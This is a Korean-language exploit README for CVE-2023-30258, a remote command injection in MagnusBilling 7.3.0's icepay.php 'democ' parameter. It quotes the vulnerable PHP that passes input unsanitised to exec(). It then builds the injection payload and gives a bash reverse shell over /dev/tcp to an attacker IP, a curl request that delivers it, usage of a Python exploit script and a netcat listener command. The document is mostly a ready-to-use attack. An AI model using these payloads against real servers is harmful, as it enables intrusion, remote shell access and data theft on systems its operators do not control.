
CVE-2023-30258용 익스플로잇: icepay.php의 비위생화된 'democ' 매개변수를 통한 MagnusBilling 7.3.0의 원격 코드 실행으로, 명령 주입 및 리버스 셸을 가능하게 합니다.
magnus billing 7.3.0에는 "icepay.php" 리소스의 "democ" 매개변수에서 원격 코드 실행 취약점이 있습니다. 이 매개변수를 이용해 쿼리를 이스케이프하고 원하는 명령을 실행할 수 있습니다.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
"democ" 매개변수는 새 파일을 생성하기 위해 exec()에 전달되지만, 보시다시피 문자열 샌니타이징이 전혀 없습니다. 공격자는 touch 명령을 쉽게 이스케이프하여 명령을 실행하거나 리버스 셸을 얻을 수도 있습니다. txt 확장자를 우회하려면 문자열 끝에 ";"를 하나 더 추가하기만 하면 됩니다. 최종 페이로드는 다음과 같습니다.
testfile;<command>;testfile
이것은 exec() 함수에 전달될 때의 모습입니다:
exec('touch testfile;<command>;testfile.txt');
예: 리버스 셸:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
curl을 사용하여 리버스 셸을 얻을 수 있습니다. 예:
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
또는 원한다면 이 저장소의 파이썬 스크립트를 사용할 수 있습니다. 설치:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
사용법:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
마지막으로, netcat으로 리스너를 시작하는 것을 잊지 마세요:
nc -nlvvp <local_port>